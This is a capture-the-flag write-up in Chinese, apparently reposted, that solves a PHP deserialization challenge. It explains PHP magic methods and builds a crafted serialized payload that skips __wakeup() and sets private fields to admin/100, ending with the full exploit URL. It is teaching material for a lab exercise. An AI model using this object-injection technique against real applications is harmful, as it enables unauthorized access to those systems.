[極客大挑戰 2019]PHP CTF題解與分析


知識點

  • php序列化與反序列化
    序列化:函數為serialize(),把復雜的數據類型壓縮到一個字符串中 數據類型可以是數組,字符串,對象等
    反序列化:函數為unserialize(),將字符串轉換成變量或對象的過程
    常用的魔術方法:
    __construct():創建對象時初始化,當一個對象創建時被調用
    __wakeup() 使用unserialize時觸發
    __sleep() 使用serialize時觸發
    __destruction():結束時銷毀對象,當一個對象銷毀時被調用

  • private
    private 聲明的字段為私有字段,只在所聲明的類中可見,在該類的子類和該類的對象實例中均不可見。因此私有字段的字段名在序列化時,類名和字段名前面都會加上\0的前綴。字符串長度也包括所加前綴的長度

  • __wakeup()繞過
    在反序列化字符串時,屬性個數的值大於實際屬性個數時,會跳過 __wakeup()函數的執行

解題思路與過程

1.目錄掃描
訪問題目連接根據提示猜測可能存在信息泄露,我們掃描目錄發現備份文件:www.zip,發現備份文件為源代碼


2.代碼審計
在index.php中找到php代碼

<?php
include 'class.php';
$select = $_GET['select'];
$res=unserialize(@$select);
?>

這里包含了class.php文件,用GET方法傳入參數select的值,然后反序列化該值,猜測此題與反序列化漏洞有關
接着審class.php

<?php
include 'flag.php';


error_reporting(0);


class Name{
    private $username = 'nonono';
    private $password = 'yesyes';

    public function __construct($username,$password){
        $this->username = $username;
        $this->password = $password;
    }

    function __wakeup(){
        $this->username = 'guest';
    }

    function __destruct(){
        if ($this->password != 100) {
            echo "</br>NO!!!hacker!!!</br>";
            echo "You name is: ";
            echo $this->username;echo "</br>";
            echo "You password is: ";
            echo $this->password;echo "</br>";
            die();
        }
        if ($this->username === 'admin') {
            global $flag;
            echo $flag;
        }else{
            echo "</br>hello my friend~~</br>sorry i can't give you the flag!";
            die();

            
        }
    }
}
?>

如果password=100,username=admin,在調用__destruct()時就可以獲得flag,因此我們需要構造一個序列化使得password=100,username=admin

<?php
class Name{
    private $username = 'nonono';
    private $password = 'yesyes';

    public function __construct($username,$password){
        $this->username = $username;
        $this->password = $password;
    }
}
$a = new Name('admin', 100);
$b = serialize($a);
echo $b;
?>

得到序列化后的結合

O:4:"Name":2:{s:14:"Nameusername";s:5:"admin";s:14:"Namepassword";i:100;}

3.繞過__wakeup()

__wakeup()方法中$this->username = 'guest'會讓username重新賦值。在反序列化字符串時,屬性個數的值大於實際屬性個數時,會跳過 __wakeup()函數的執行,我們可以將字符串中O:4:"Name"后面的2改為3及以上的整數

O:4:"Name":3:{s:14:"Nameusername";s:5:"admin";s:14:"Namepassword";i:100;}

注意該類中使用的private來聲明字段,private在序列化中類名和字段名前都要加上ASCII 碼為 0 的字符(不可見字符),如果我們直接復制結果,該空白字符會丟失,需要我們自己加上

O:4:"Name":3:{s:14:"%00Name%00username";s:5:"admin";s:14:"%00Name%00password";i:100;}

將該字符串作為select參數的值,GET方式發送過去就可以獲得flag

http://題目鏈接/?select=O:4:%22Name%22:3:{s:14:%22%00Name%00username%22;s:5:%22admin%22;s:14:%22%00Name%00password%22;i:100;}


免責聲明!

本站轉載的文章為個人學習借鑒使用,本站對版權不負任何法律責任。如果侵犯了您的隱私權益,請聯系本站郵箱yoyou2525@163.com刪除。



 
粵ICP備18138465號   © 2018-2025 CODEPRJ.COM